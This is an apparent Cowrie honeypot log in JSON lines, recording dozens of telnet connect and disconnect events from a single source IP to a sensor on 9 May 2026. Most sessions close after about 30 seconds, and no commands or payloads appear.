{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38832,"dst_ip":"159.203.135.109","dst_port":23,"session":"1476bea677a5","protocol":"telnet","message":"New connection: 50.6.18.72:38832 (159.203.135.109:23) [session: 1476bea677a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.540679Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38842,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d3d09e7c719","protocol":"telnet","message":"New connection: 50.6.18.72:38842 (159.203.135.109:23) [session: 8d3d09e7c719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.610827Z"}
{"eventid":"cowrie.session.closed","duration":30.60666799545288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.721792Z","src_ip":"50.6.18.72","session":"1f65866d6133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58539652824402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.817441Z","src_ip":"50.6.18.72","session":"45ed6dc71294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38858,"dst_ip":"159.203.135.109","dst_port":23,"session":"1487f8e0e925","protocol":"telnet","message":"New connection: 50.6.18.72:38858 (159.203.135.109:23) [session: 1487f8e0e925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.841859Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38870,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6b0f65badd0","protocol":"telnet","message":"New connection: 50.6.18.72:38870 (159.203.135.109:23) [session: b6b0f65badd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:00.971329Z"}
{"eventid":"cowrie.session.closed","duration":30.729011297225952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.026397Z","src_ip":"50.6.18.72","session":"dd6385f5b404","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38872,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b5efa71e5c3","protocol":"telnet","message":"New connection: 50.6.18.72:38872 (159.203.135.109:23) [session: 2b5efa71e5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.166858Z"}
{"eventid":"cowrie.session.closed","duration":31.118528842926025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.206340Z","src_ip":"50.6.18.72","session":"5a39b6d9161d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38880,"dst_ip":"159.203.135.109","dst_port":23,"session":"e64a2000f3f1","protocol":"telnet","message":"New connection: 50.6.18.72:38880 (159.203.135.109:23) [session: e64a2000f3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.220924Z"}
{"eventid":"cowrie.session.closed","duration":31.633488416671753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.228259Z","src_ip":"50.6.18.72","session":"e61bb7f2aa65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38890,"dst_ip":"159.203.135.109","dst_port":23,"session":"63c0364dac8f","protocol":"telnet","message":"New connection: 50.6.18.72:38890 (159.203.135.109:23) [session: 63c0364dac8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.278624Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38900,"dst_ip":"159.203.135.109","dst_port":23,"session":"a71c9fa7d198","protocol":"telnet","message":"New connection: 50.6.18.72:38900 (159.203.135.109:23) [session: a71c9fa7d198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.361418Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38906,"dst_ip":"159.203.135.109","dst_port":23,"session":"11fdd9227be8","protocol":"telnet","message":"New connection: 50.6.18.72:38906 (159.203.135.109:23) [session: 11fdd9227be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.397303Z"}
{"eventid":"cowrie.session.closed","duration":31.164884090423584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.404044Z","src_ip":"50.6.18.72","session":"a7467b4cf1c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47516,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6c2372eef3d","protocol":"telnet","message":"New connection: 50.6.18.72:47516 (159.203.135.109:23) [session: b6c2372eef3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.412047Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38920,"dst_ip":"159.203.135.109","dst_port":23,"session":"f39848d45822","protocol":"telnet","message":"New connection: 50.6.18.72:38920 (159.203.135.109:23) [session: f39848d45822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.514058Z"}
{"eventid":"cowrie.session.closed","duration":30.912592887878418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.536953Z","src_ip":"50.6.18.72","session":"cdac88ae5f98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38930,"dst_ip":"159.203.135.109","dst_port":23,"session":"0687525177d5","protocol":"telnet","message":"New connection: 50.6.18.72:38930 (159.203.135.109:23) [session: 0687525177d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.568449Z"}
{"eventid":"cowrie.session.closed","duration":30.55451202392578,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.600939Z","src_ip":"50.6.18.72","session":"490544adcdb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38936,"dst_ip":"159.203.135.109","dst_port":23,"session":"83c547684f1b","protocol":"telnet","message":"New connection: 50.6.18.72:38936 (159.203.135.109:23) [session: 83c547684f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.627750Z"}
{"eventid":"cowrie.session.closed","duration":31.190366983413696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.742065Z","src_ip":"50.6.18.72","session":"b76f2b1a12d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14554524421692,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.748205Z","src_ip":"50.6.18.72","session":"0c5266971ad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38944,"dst_ip":"159.203.135.109","dst_port":23,"session":"568b7156c9dc","protocol":"telnet","message":"New connection: 50.6.18.72:38944 (159.203.135.109:23) [session: 568b7156c9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.886756Z"}
{"eventid":"cowrie.session.closed","duration":30.867177963256836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.895125Z","src_ip":"50.6.18.72","session":"7e9587ed7612","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.435447454452515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:01.917669Z","src_ip":"50.6.18.72","session":"8c4499400f0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38950,"dst_ip":"159.203.135.109","dst_port":23,"session":"13ba150e5cd1","protocol":"telnet","message":"New connection: 50.6.18.72:38950 (159.203.135.109:23) [session: 13ba150e5cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.292672Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38966,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c5bf1102eb6","protocol":"telnet","message":"New connection: 50.6.18.72:38966 (159.203.135.109:23) [session: 4c5bf1102eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.349242Z"}
{"eventid":"cowrie.session.closed","duration":31.115431547164917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.382607Z","src_ip":"50.6.18.72","session":"b1570b0676bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38972,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d280abca654","protocol":"telnet","message":"New connection: 50.6.18.72:38972 (159.203.135.109:23) [session: 2d280abca654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.459249Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38984,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c342d769d0f","protocol":"telnet","message":"New connection: 50.6.18.72:38984 (159.203.135.109:23) [session: 0c342d769d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.531984Z"}
{"eventid":"cowrie.session.closed","duration":30.986499309539795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.564807Z","src_ip":"50.6.18.72","session":"63f4d7bccb2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.197169542312622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.744700Z","src_ip":"50.6.18.72","session":"fdf362cc53a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38992,"dst_ip":"159.203.135.109","dst_port":23,"session":"a079ecc4e5c7","protocol":"telnet","message":"New connection: 50.6.18.72:38992 (159.203.135.109:23) [session: a079ecc4e5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.841089Z"}
{"eventid":"cowrie.session.closed","duration":30.43438744544983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.845408Z","src_ip":"50.6.18.72","session":"514d037f5895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111736536026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.855472Z","src_ip":"50.6.18.72","session":"b6af7890ff16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":38998,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a3192e84992","protocol":"telnet","message":"New connection: 50.6.18.72:38998 (159.203.135.109:23) [session: 8a3192e84992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:02.906809Z"}
{"eventid":"cowrie.session.closed","duration":30.791714668273926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:03.066173Z","src_ip":"50.6.18.72","session":"f374a984316b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119280338287354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:03.473799Z","src_ip":"50.6.18.72","session":"3c1171a77f37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39012,"dst_ip":"159.203.135.109","dst_port":23,"session":"98230d0fbd74","protocol":"telnet","message":"New connection: 50.6.18.72:39012 (159.203.135.109:23) [session: 98230d0fbd74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:03.505451Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39018,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a9757f67ac1","protocol":"telnet","message":"New connection: 50.6.18.72:39018 (159.203.135.109:23) [session: 8a9757f67ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:03.551852Z"}
{"eventid":"cowrie.session.closed","duration":31.448107957839966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:03.842205Z","src_ip":"50.6.18.72","session":"edff8531cec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04031801223755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:03.898218Z","src_ip":"50.6.18.72","session":"b084813c5401","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86535382270813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:03.993580Z","src_ip":"50.6.18.72","session":"791a592f7d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39020,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff51a5c24c12","protocol":"telnet","message":"New connection: 50.6.18.72:39020 (159.203.135.109:23) [session: ff51a5c24c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:04.015664Z"}
{"eventid":"cowrie.session.closed","duration":31.11696171760559,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:04.192856Z","src_ip":"50.6.18.72","session":"96fa4bac230c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39038,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea05c981762","protocol":"telnet","message":"New connection: 50.6.18.72:39038 (159.203.135.109:23) [session: 5ea05c981762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:04.565593Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39048,"dst_ip":"159.203.135.109","dst_port":23,"session":"faa7380411a2","protocol":"telnet","message":"New connection: 50.6.18.72:39048 (159.203.135.109:23) [session: faa7380411a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:04.590461Z"}
{"eventid":"cowrie.session.closed","duration":30.778518199920654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:04.597944Z","src_ip":"50.6.18.72","session":"425b08fd9b1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.048970460891724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:04.704262Z","src_ip":"50.6.18.72","session":"743e5d015465","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869953870773315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:04.721052Z","src_ip":"50.6.18.72","session":"f9cfe5678f53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.282526969909668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:04.875459Z","src_ip":"50.6.18.72","session":"0ab024f53334","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8767306804657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:05.021655Z","src_ip":"50.6.18.72","session":"2c83ef1e4758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39066,"dst_ip":"159.203.135.109","dst_port":23,"session":"457651956d3b","protocol":"telnet","message":"New connection: 50.6.18.72:39066 (159.203.135.109:23) [session: 457651956d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:05.055848Z"}
{"eventid":"cowrie.session.closed","duration":31.117311477661133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:05.215634Z","src_ip":"50.6.18.72","session":"742043014d58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.953283309936523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:05.485182Z","src_ip":"50.6.18.72","session":"8e7b5975a4f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36859679222107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:05.496371Z","src_ip":"50.6.18.72","session":"8ced56a982d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39032,"dst_ip":"159.203.135.109","dst_port":23,"session":"587f510680ab","protocol":"telnet","message":"New connection: 50.6.18.72:39032 (159.203.135.109:23) [session: 587f510680ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:05.511443Z"}
{"eventid":"cowrie.session.closed","duration":30.760348558425903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:05.531534Z","src_ip":"50.6.18.72","session":"043386b8fc75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15065026283264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:05.906108Z","src_ip":"50.6.18.72","session":"af53397bece8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43530,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6b04eb3eb76","protocol":"telnet","message":"New connection: 50.6.18.72:43530 (159.203.135.109:23) [session: b6b04eb3eb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:05.920384Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43544,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c942097646d","protocol":"telnet","message":"New connection: 50.6.18.72:43544 (159.203.135.109:23) [session: 6c942097646d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:05.993783Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43554,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3e61cd004a9","protocol":"telnet","message":"New connection: 50.6.18.72:43554 (159.203.135.109:23) [session: d3e61cd004a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.058865Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39050,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4b4464db748","protocol":"telnet","message":"New connection: 50.6.18.72:39050 (159.203.135.109:23) [session: e4b4464db748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.085831Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43562,"dst_ip":"159.203.135.109","dst_port":23,"session":"06bb3739f143","protocol":"telnet","message":"New connection: 50.6.18.72:43562 (159.203.135.109:23) [session: 06bb3739f143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.182636Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43572,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd099f6a1bc","protocol":"telnet","message":"New connection: 50.6.18.72:43572 (159.203.135.109:23) [session: cdd099f6a1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.252004Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43580,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe3f597e923","protocol":"telnet","message":"New connection: 50.6.18.72:43580 (159.203.135.109:23) [session: 3fe3f597e923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.329007Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43594,"dst_ip":"159.203.135.109","dst_port":23,"session":"cccbd44e7d58","protocol":"telnet","message":"New connection: 50.6.18.72:43594 (159.203.135.109:23) [session: cccbd44e7d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.333403Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39068,"dst_ip":"159.203.135.109","dst_port":23,"session":"987e19d3ec8e","protocol":"telnet","message":"New connection: 50.6.18.72:39068 (159.203.135.109:23) [session: 987e19d3ec8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.410551Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43610,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff95501c2983","protocol":"telnet","message":"New connection: 50.6.18.72:43610 (159.203.135.109:23) [session: ff95501c2983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.478639Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43614,"dst_ip":"159.203.135.109","dst_port":23,"session":"18a5cdcb6576","protocol":"telnet","message":"New connection: 50.6.18.72:43614 (159.203.135.109:23) [session: 18a5cdcb6576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.507058Z"}
{"eventid":"cowrie.session.closed","duration":30.92777729034424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.702516Z","src_ip":"50.6.18.72","session":"3c4bf09db3c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43628,"dst_ip":"159.203.135.109","dst_port":23,"session":"3871ee5603c3","protocol":"telnet","message":"New connection: 50.6.18.72:43628 (159.203.135.109:23) [session: 3871ee5603c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.856630Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43638,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef6d720fe978","protocol":"telnet","message":"New connection: 50.6.18.72:43638 (159.203.135.109:23) [session: ef6d720fe978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:06.880325Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43654,"dst_ip":"159.203.135.109","dst_port":23,"session":"83dc508f61b9","protocol":"telnet","message":"New connection: 50.6.18.72:43654 (159.203.135.109:23) [session: 83dc508f61b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.061120Z"}
{"eventid":"cowrie.session.closed","duration":31.3551344871521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.069576Z","src_ip":"50.6.18.72","session":"cdae446e628a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.628862142562866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.087364Z","src_ip":"50.6.18.72","session":"e1510abf7544","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.84414267539978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.404392Z","src_ip":"50.6.18.72","session":"f5f3f2a1a3b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43680,"dst_ip":"159.203.135.109","dst_port":23,"session":"aecef903ce12","protocol":"telnet","message":"New connection: 50.6.18.72:43680 (159.203.135.109:23) [session: aecef903ce12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.490886Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43682,"dst_ip":"159.203.135.109","dst_port":23,"session":"4479c6a9b5ad","protocol":"telnet","message":"New connection: 50.6.18.72:43682 (159.203.135.109:23) [session: 4479c6a9b5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.520270Z"}
{"eventid":"cowrie.session.closed","duration":31.123281240463257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:07.594283Z","src_ip":"50.6.18.72","session":"bea0d1bbd4d5","protocol":"telnet"}
